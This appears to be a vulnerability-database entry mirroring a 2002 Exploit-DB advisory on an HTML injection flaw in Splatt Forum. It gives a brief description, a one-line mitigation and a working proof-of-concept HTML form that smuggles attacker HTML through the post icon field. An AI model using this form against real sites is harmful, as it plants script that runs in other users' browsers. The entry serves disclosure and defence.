Splatt Forum HTML Injection Vulnerability

vendor:

Forum

by:

SecurityFocus

7.5

CVSS

HIGH

HTML Injection

CWE

Product Name: Forum

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: N/A

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2002

Splatt Forum HTML Injection Vulnerability

Splatt Forum has been reported prone to a HTML injection vulnerability. An attacker may save a Splatt Forum post form, and modify it so that the post icon value contains arbitrary attacker supplied HTML code. As a result, a malicious user may have the ability to submit a post to the site containing embedded script code.

Mitigation:

Input validation should be used to ensure that user supplied data does not contain malicious HTML code.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/8198/info

Splatt Forum has been reported prone to a HTML injection vulnerability.

An attacker may save a Splatt Forum post form, and modify it so that the post icon value contains arbitrary attacker supplied HTML code. As a result, a malicious user may have the ability to submit a post to the site containing embedded script code. This code would be executed by a user's browser in the context of the vulnerable site. 

<html>
<body>
<script>
<!-- Modify here -->
var address='http://www.splatt.it/gate.html?mop=modload&name=Forums&file=newtopic';
</script>

<!-- Exploit form -->
<script>
document.write("<form action="+address+" method='post' name='coolsus'>");
</script>
Numero forum: <input type=text name=forum value=1 size=3><br>
Username: <input CLASS=textbox TYPE="TEXT" NAME="username" SIZE="25" MAXLENGTH="40"><br>
Password: <input CLASS=textbox TYPE="PASSWORD" NAME="password" SIZE="25" MAXLENGTH="25"><br>
Soggetto: <input CLASS=textbox TYPE="TEXT" NAME="subject" SIZE="75" MAXLENGTH="75"><br>
Messaggio:<br><textarea name="message" rows="10" cols="75" wrap="VIRTUAL">&lt;/textarea&gt;<br>
<input type=hidden name=bbcode value=0>
<input type=hidden name=smile value=0>
<input type=hidden name=notify value=0>
<b>Inject code:</b> <input type=text name=image_subject value='icon1.gif">HTML CODE<!-- "' size=100><br>
<input type="submit" name="submit" value=Invia class="Button">
</form>
</body>
</html>